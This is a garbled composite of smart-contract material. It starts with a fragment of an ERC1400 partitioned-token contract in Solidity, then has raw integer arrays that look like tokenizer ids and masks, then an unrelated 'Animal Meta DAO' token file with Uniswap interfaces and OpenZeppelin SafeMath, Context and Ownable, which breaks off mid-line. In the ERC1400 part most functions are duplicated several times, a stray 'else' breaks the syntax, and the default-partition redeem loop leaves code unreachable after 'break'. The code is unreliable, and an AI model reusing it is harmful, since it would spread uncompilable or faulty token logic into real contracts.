_removeTokenFromPartition(address from, bytes32 partition, uint256 value) internal { _balanceOfByPartition[from][partition] = _balanceOfByPartition[from][partition]- value; _totalSupplyByPartition[partition] = _totalSupplyByPartition[partition] - value; if(_totalSupplyByPartition[partition] == 0) { uint256 index1 = _indexOfTotalPartitions[partition]; bytes32 lastValue = _totalPartitions[_totalPartitions.length - 1]; _indexOfTotalPartitions[lastValue] = index1; _totalPartitions.pop(); _indexOfTotalPartitions[partition] = 0; } if(_balanceOfByPartition[from][partition] == 0) { uint256 index2 = _indexOfPartitionsOf[from][partition]; bytes32 lastValue = _partitionsOf[from][_partitionsOf[from].length - 1]; _indexOfPartitionsOf[from][lastValue] = index2; _partitionsOf[from].pop(); _indexOfPartitionsOf[from][partition] = 0; } } function _removeTokenFromPartition(address from, bytes32 partition, uint256 value) internal { _balanceOfByPartition[from][partition] = _balanceOfByPartition[from][partition]- value; _totalSupplyByPartition[partition] = _totalSupplyByPartition[partition] - value; if(_totalSupplyByPartition[partition] == 0) { uint256 index1 = _indexOfTotalPartitions[partition]; bytes32 lastValue = _totalPartitions[_totalPartitions.length - 1]; _indexOfTotalPartitions[lastValue] = index1; _totalPartitions.pop(); _indexOfTotalPartitions[partition] = 0; } if(_balanceOfByPartition[from][partition] == 0) { uint256 index2 = _indexOfPartitionsOf[from][partition]; bytes32 lastValue = _partitionsOf[from][_partitionsOf[from].length - 1]; _indexOfPartitionsOf[from][lastValue] = index2; _partitionsOf[from].pop(); _indexOfPartitionsOf[from][partition] = 0; } } function _addTokenToPartition(address to, bytes32 partition, uint256 value) internal { if(value != 0) { if (_indexOfPartitionsOf[to][partition] == 0) { _partitionsOf[to].push(partition); _indexOfPartitionsOf[to][partition] = _partitionsOf[to].length; } _balanceOfByPartition[to][partition] = _balanceOfByPartition[to][partition] + value; if (_indexOfTotalPartitions[partition] == 0) { _totalPartitions.push(partition); _indexOfTotalPartitions[partition] = _totalPartitions.length; } _totalSupplyByPartition[partition] = _totalSupplyByPartition[partition] + value; } } function _addTokenToPartition(address to, bytes32 partition, uint256 value) internal { if(value != 0) { if (_indexOfPartitionsOf[to][partition] == 0) { _partitionsOf[to].push(partition); _indexOfPartitionsOf[to][partition] = _partitionsOf[to].length; } _balanceOfByPartition[to][partition] = _balanceOfByPartition[to][partition] + value; if (_indexOfTotalPartitions[partition] == 0) { _totalPartitions.push(partition); _indexOfTotalPartitions[partition] = _totalPartitions.length; } _totalSupplyByPartition[partition] = _totalSupplyByPartition[partition] + value; } } function _addTokenToPartition(address to, bytes32 partition, uint256 value) internal { if(value != 0) { if (_indexOfPartitionsOf[to][partition] == 0) { _partitionsOf[to].push(partition); _indexOfPartitionsOf[to][partition] = _partitionsOf[to].length; } _balanceOfByPartition[to][partition] = _balanceOfByPartition[to][partition] + value; if (_indexOfTotalPartitions[partition] == 0) { _totalPartitions.push(partition); _indexOfTotalPartitions[partition] = _totalPartitions.length; } _totalSupplyByPartition[partition] = _totalSupplyByPartition[partition] + value; } } function _addTokenToPartition(address to, bytes32 partition, uint256 value) internal { if(value != 0) { if (_indexOfPartitionsOf[to][partition] == 0) { _partitionsOf[to].push(partition); _indexOfPartitionsOf[to][partition] = _partitionsOf[to].length; } _balanceOfByPartition[to][partition] = _balanceOfByPartition[to][partition] + value; if (_indexOfTotalPartitions[partition] == 0) { _totalPartitions.push(partition); _indexOfTotalPartitions[partition] = _totalPartitions.length; } _totalSupplyByPartition[partition] = _totalSupplyByPartition[partition] + value; } } function _isMultiple(uint256 value) internal view returns(bool) { return(uint256(value / _granularity) * _granularity == value); } function _callSenderExtension( bytes32 partition, address operator, address from, address to, uint256 value, bytes memory data, bytes memory operatorData ) internal { address senderImplementation; senderImplementation = interfaceAddr(from, ERC1400_TOKENS_SENDER); if (senderImplementation != address(0)) { IERC1400TokensSender(senderImplementation).tokensToTransfer(msg.data, partition, operator, from, to, value, data, operatorData); } } function _callSenderExtension( bytes32 partition, address operator, address from, address to, uint256 value, bytes memory data, bytes memory operatorData ) internal { address senderImplementation; senderImplementation = interfaceAddr(from, ERC1400_TOKENS_SENDER); if (senderImplementation != address(0)) { IERC1400TokensSender(senderImplementation).tokensToTransfer(msg.data, partition, operator, from, to, value, data, operatorData); } } function _callTokenExtension( bytes32 partition, address operator, address from, address to, uint256 value, bytes memory data, bytes memory operatorData ) internal { address validatorImplementation; validatorImplementation = interfaceAddr(address(this), ERC1400_TOKENS_VALIDATOR); if (validatorImplementation != address(0)) { IERC1400TokensValidator(validatorImplementation).tokensToValidate(msg.data, partition, operator, from, to, value, data, operatorData); } } function _callTokenExtension( bytes32 partition, address operator, address from, address to, uint256 value, bytes memory data, bytes memory operatorData ) internal { address validatorImplementation; validatorImplementation = interfaceAddr(address(this), ERC1400_TOKENS_VALIDATOR); if (validatorImplementation != address(0)) { IERC1400TokensValidator(validatorImplementation).tokensToValidate(msg.data, partition, operator, from, to, value, data, operatorData); } } function _callRecipientExtension( bytes32 partition, address operator, address from, address to, uint256 value, bytes memory data, bytes memory operatorData ) internal virtual { address recipientImplementation; recipientImplementation = interfaceAddr(to, ERC1400_TOKENS_RECIPIENT); if (recipientImplementation != address(0)) { IERC1400TokensRecipient(recipientImplementation).tokensReceived(msg.data, partition, operator, from, to, value, data, operatorData); } } function _callRecipientExtension( bytes32 partition, address operator, address from, address to, uint256 value, bytes memory data, bytes memory operatorData ) internal virtual { address recipientImplementation; recipientImplementation = interfaceAddr(to, ERC1400_TOKENS_RECIPIENT); if (recipientImplementation != address(0)) { IERC1400TokensRecipient(recipientImplementation).tokensReceived(msg.data, partition, operator, from, to, value, data, operatorData); } } function _isOperator(address operator, address tokenHolder) internal view returns (bool) { return (operator == tokenHolder || _authorizedOperator[operator][tokenHolder] || (_isControllable && _isController[operator]) ); } function _isOperatorForPartition(bytes32 partition, address operator, address tokenHolder) internal view returns (bool) { return (_isOperator(operator, tokenHolder) || _authorizedOperatorByPartition[tokenHolder][partition][operator] || (_isControllable && _isControllerByPartition[partition][operator]) ); } function _issue(address operator, address to, uint256 value, bytes memory data) internal isNotMigratedToken { _totalSupply = _totalSupply + value; _balances[to] = _balances[to] + value; emit Issued(operator, to, value, data); } function _issueByPartition( bytes32 toPartition, address operator, address to, uint256 value, bytes memory data ) internal { _callTokenExtension(toPartition, operator, address(0), to, value, data, ""); _issue(operator, to, value, data); _addTokenToPartition(to, toPartition, value); _callRecipientExtension(toPartition, operator, address(0), to, value, data, ""); emit IssuedByPartition(toPartition, operator, to, value, data, ""); } function _redeem(address operator, address from, uint256 value, bytes memory data) internal isNotMigratedToken { _balances[from] = _balances[from] - value; _totalSupply = _totalSupply - value; emit Redeemed(operator, from, value, data); } function _redeemByPartition( bytes32 fromPartition, address operator, address from, uint256 value, bytes memory data, bytes memory operatorData ) internal { _callSenderExtension(fromPartition, operator, from, address(0), value, data, operatorData); _callTokenExtension(fromPartition, operator, from, address(0), value, data, operatorData); _removeTokenFromPartition(from, fromPartition, value); _redeem(operator, from, value, data); emit RedeemedByPartition(fromPartition, operator, from, value, operatorData); } function _redeemByDefaultPartitions( address operator, address from, uint256 value, bytes memory data ) internal { uint256 _remainingValue = value; uint256 _localBalance; for (uint i = 0; i < _defaultPartitions.length; i++) { _localBalance = _balanceOfByPartition[from][_defaultPartitions[i]]; if(_remainingValue <= _localBalance) { _redeemByPartition(_defaultPartitions[i], operator, from, _remainingValue, data, ""); _remainingValue = 0; break; _redeemByPartition(_defaultPartitions[i], operator, from, _localBalance, data, ""); _remainingValue = _remainingValue - _localBalance; } } } function _redeemByDefaultPartitions( address operator, address from, uint256 value, bytes memory data ) internal { uint256 _remainingValue = value; uint256 _localBalance; for (uint i = 0; i < _defaultPartitions.length; i++) { _localBalance = _balanceOfByPartition[from][_defaultPartitions[i]]; if(_remainingValue <= _localBalance) { _redeemByPartition(_defaultPartitions[i], operator, from, _remainingValue, data, ""); _remainingValue = 0; break; _redeemByPartition(_defaultPartitions[i], operator, from, _localBalance, data, ""); _remainingValue = _remainingValue - _localBalance; } } } function _redeemByDefaultPartitions( address operator, address from, uint256 value, bytes memory data ) internal { uint256 _remainingValue = value; uint256 _localBalance; for (uint i = 0; i < _defaultPartitions.length; i++) { _localBalance = _balanceOfByPartition[from][_defaultPartitions[i]]; if(_remainingValue <= _localBalance) { _redeemByPartition(_defaultPartitions[i], operator, from, _remainingValue, data, ""); _remainingValue = 0; break; _redeemByPartition(_defaultPartitions[i], operator, from, _localBalance, data, ""); _remainingValue = _remainingValue - _localBalance; } } } } else { function _canTransfer(bytes memory payload, bytes32 partition, address operator, address from, address to, uint256 value, bytes memory data, bytes memory operatorData) internal view returns (bytes1, bytes32, bytes32) { address checksImplementation = interfaceAddr(address(this), ERC1400_TOKENS_CHECKER); if((checksImplementation != address(0))) { return IERC1400TokensChecker(checksImplementation).canTransferByPartition(payload, partition, operator, from, to, value, data, operatorData); } else { return(hex"00", "", partition); } } function _canTransfer(bytes memory payload, bytes32 partition, address operator, address from, address to, uint256 value, bytes memory data, bytes memory operatorData) internal view returns (bytes1, bytes32, bytes32) { address checksImplementation = interfaceAddr(address(this), ERC1400_TOKENS_CHECKER); if((checksImplementation != address(0))) { return IERC1400TokensChecker(checksImplementation).canTransferByPartition(payload, partition, operator, from, to, value, data, operatorData); } else { return(hex"00", "", partition); } } function _canTransfer(bytes memory payload, bytes32 partition, address operator, address from, address to, uint256 value, bytes memory data, bytes memory operatorData) internal view returns (bytes1, bytes32, bytes32) { address checksImplementation = interfaceAddr(address(this), ERC1400_TOKENS_CHECKER); if((checksImplementation != address(0))) { return IERC1400TokensChecker(checksImplementation).canTransferByPartition(payload, partition, operator, from, to, value, data, operatorData); } else { return(hex"00", "", partition); } } function _setControllers(address[] memory operators) internal { for (uint i = 0; i<_controllers.length; i++){ _isController[_controllers[i]] = false; } for (uint j = 0; j<operators.length; j++){ _isController[operators[j]] = true; } _controllers = operators; } function _setControllers(address[] memory operators) internal { for (uint i = 0; i<_controllers.length; i++){ _isController[_controllers[i]] = false; } for (uint j = 0; j<operators.length; j++){ _isController[operators[j]] = true; } _controllers = operators; } function _setControllers(address[] memory operators) internal { for (uint i = 0; i<_controllers.length; i++){ _isController[_controllers[i]] = false; } for (uint j = 0; j<operators.length; j++){ _isController[operators[j]] = true; } _controllers = operators; } function _setPartitionControllers(bytes32 partition, address[] memory operators) internal { for (uint i = 0; i<_controllersByPartition[partition].length; i++){ _isControllerByPartition[partition][_controllersByPartition[partition][i]] = false; } for (uint j = 0; j<operators.length; j++){ _isControllerByPartition[partition][operators[j]] = true; } _controllersByPartition[partition] = operators; } function _setPartitionControllers(bytes32 partition, address[] memory operators) internal { for (uint i = 0; i<_controllersByPartition[partition].length; i++){ _isControllerByPartition[partition][_controllersByPartition[partition][i]] = false; } for (uint j = 0; j<operators.length; j++){ _isControllerByPartition[partition][operators[j]] = true; } _controllersByPartition[partition] = operators; } function _setPartitionControllers(bytes32 partition, address[] memory operators) internal { for (uint i = 0; i<_controllersByPartition[partition].length; i++){ _isControllerByPartition[partition][_controllersByPartition[partition][i]] = false; } for (uint j = 0; j<operators.length; j++){ _isControllerByPartition[partition][operators[j]] = true; } _controllersByPartition[partition] = operators; } function _setTokenExtension(address extension, string memory interfaceLabel, bool removeOldExtensionRoles, bool addMinterRoleForExtension, bool addControllerRoleForExtension) internal { address oldExtension = interfaceAddr(address(this), interfaceLabel); if (oldExtension != address(0) && removeOldExtensionRoles) { if(isMinter(oldExtension)) { _removeMinter(oldExtension); } _isController[oldExtension] = false; } ERC1820Client.setInterfaceImplementation(interfaceLabel, extension); if(addMinterRoleForExtension && !isMinter(extension)) { _addMinter(extension); } if (addControllerRoleForExtension) { _isController[extension] = true; } } function _setTokenExtension(address extension, string memory interfaceLabel, bool removeOldExtensionRoles, bool addMinterRoleForExtension, bool addControllerRoleForExtension) internal { address oldExtension = interfaceAddr(address(this), interfaceLabel); if (oldExtension != address(0) && removeOldExtensionRoles) { if(isMinter(oldExtension)) { _removeMinter(oldExtension); } _isController[oldExtension] = false; } ERC1820Client.setInterfaceImplementation(interfaceLabel, extension); if(addMinterRoleForExtension && !isMinter(extension)) { _addMinter(extension); } if (addControllerRoleForExtension) { _isController[extension] = true; } } function _setTokenExtension(address extension, string memory interfaceLabel, bool removeOldExtensionRoles, bool addMinterRoleForExtension, bool addControllerRoleForExtension) internal { address oldExtension = interfaceAddr(address(this), interfaceLabel); if (oldExtension != address(0) && removeOldExtensionRoles) { if(isMinter(oldExtension)) { _removeMinter(oldExtension); } _isController[oldExtension] = false; } ERC1820Client.setInterfaceImplementation(interfaceLabel, extension); if(addMinterRoleForExtension && !isMinter(extension)) { _addMinter(extension); } if (addControllerRoleForExtension) { _isController[extension] = true; } } function _setTokenExtension(address extension, string memory interfaceLabel, bool removeOldExtensionRoles, bool addMinterRoleForExtension, bool addControllerRoleForExtension) internal { address oldExtension = interfaceAddr(address(this), interfaceLabel); if (oldExtension != address(0) && removeOldExtensionRoles) { if(isMinter(oldExtension)) { _removeMinter(oldExtension); } _isController[oldExtension] = false; } ERC1820Client.setInterfaceImplementation(interfaceLabel, extension); if(addMinterRoleForExtension && !isMinter(extension)) { _addMinter(extension); } if (addControllerRoleForExtension) { _isController[extension] = true; } } function _setTokenExtension(address extension, string memory interfaceLabel, bool removeOldExtensionRoles, bool addMinterRoleForExtension, bool addControllerRoleForExtension) internal { address oldExtension = interfaceAddr(address(this), interfaceLabel); if (oldExtension != address(0) && removeOldExtensionRoles) { if(isMinter(oldExtension)) { _removeMinter(oldExtension); } _isController[oldExtension] = false; } ERC1820Client.setInterfaceImplementation(interfaceLabel, extension); if(addMinterRoleForExtension && !isMinter(extension)) { _addMinter(extension); } if (addControllerRoleForExtension) { _isController[extension] = true; } } function _migrate(address newContractAddress, bool definitive) internal { ERC1820Client.setInterfaceImplementation(ERC20_INTERFACE_NAME, newContractAddress); ERC1820Client.setInterfaceImplementation(ERC1400_INTERFACE_NAME, newContractAddress); if(definitive) { _migrated = true; } } function _migrate(address newContractAddress, bool definitive) internal { ERC1820Client.setInterfaceImplementation(ERC20_INTERFACE_NAME, newContractAddress); ERC1820Client.setInterfaceImplementation(ERC1400_INTERFACE_NAME, newContractAddress); if(definitive) { _migrated = true; } } function domainName() public override view returns (string memory) { return _name; } function domainVersion() public override pure returns (string memory) { return "1"; } }
4,032,012
[ 1, 654, 39, 3461, 713, 225, 4232, 39, 3461, 713, 4058, 19, 3155, 3155, 4418, 2177, 4418, 9223, 2659, 2856, 326, 1147, 848, 4859, 506, 25934, 635, 12213, 578, 486, 16828, 18, 9223, 2659, 2856, 326, 1147, 848, 4859, 506, 16865, 635, 326, 9715, 578, 486, 16828, 18, 9408, 628, 1147, 6064, 358, 11013, 18, 9408, 628, 261, 2316, 6064, 16, 17571, 264, 13, 358, 2935, 460, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 4232, 39, 3461, 713, 353, 467, 654, 39, 3462, 16, 467, 654, 39, 3461, 713, 16, 14223, 6914, 16, 4232, 39, 2643, 3462, 1227, 16, 4232, 39, 2643, 3462, 5726, 264, 16, 490, 2761, 2996, 16, 6648, 10155, 16, 868, 8230, 12514, 16709, 288, 203, 377, 203, 565, 533, 5381, 2713, 4232, 39, 3461, 713, 67, 18865, 67, 1985, 273, 315, 654, 39, 3461, 713, 1345, 14432, 203, 565, 533, 5381, 2713, 4232, 39, 3462, 67, 18865, 67, 1985, 273, 315, 654, 39, 3462, 1345, 14432, 203, 203, 565, 533, 5381, 2713, 4232, 39, 3461, 713, 67, 8412, 55, 67, 10687, 654, 273, 315, 654, 39, 3461, 713, 5157, 8847, 14432, 203, 565, 533, 5381, 2713, 4232, 39, 3461, 713, 67, 8412, 55, 67, 5063, 3575, 273, 315, 654, 39, 3461, 713, 5157, 5126, 14432, 203, 203, 565, 533, 5381, 2713, 4232, 39, 3461, 713, 67, 8412, 55, 67, 1090, 18556, 273, 315, 654, 39, 3461, 713, 5157, 12021, 14432, 203, 565, 533, 5381, 2713, 4232, 39, 3461, 713, 67, 8412, 55, 67, 862, 7266, 1102, 2222, 273, 315, 654, 39, 3461, 713, 5157, 18241, 14432, 203, 203, 565, 533, 2713, 389, 529, 31, 203, 565, 533, 2713, 389, 7175, 31, 203, 565, 2254, 5034, 2713, 389, 75, 27234, 31, 203, 565, 2254, 5034, 2713, 389, 4963, 3088, 1283, 31, 203, 565, 1426, 2713, 389, 81, 2757, 690, 31, 203, 203, 203, 565, 1426, 2713, 389, 291, 660, 30453, 31, 203, 203, 565, 1426, 2713, 389, 291, 7568, 89, 429, 31, 203, 203, 2 ]
/** *Submitted for verification at Etherscan.io on 2022-03-16 */ /* ANIMAL META DAO Website - https://www.animalmetadao.com Telegram - https://t.me/animalmetadao Twitter - https://twitter.com/animalmetad Supply: 100 000 000 (100 million) Buy / Sell Fees: 2.5% Marketing - 2.5% Development - 10% Charity */ // File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // File: @openzeppelin/[email protected]/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/[email protected]/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/[email protected]/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/[email 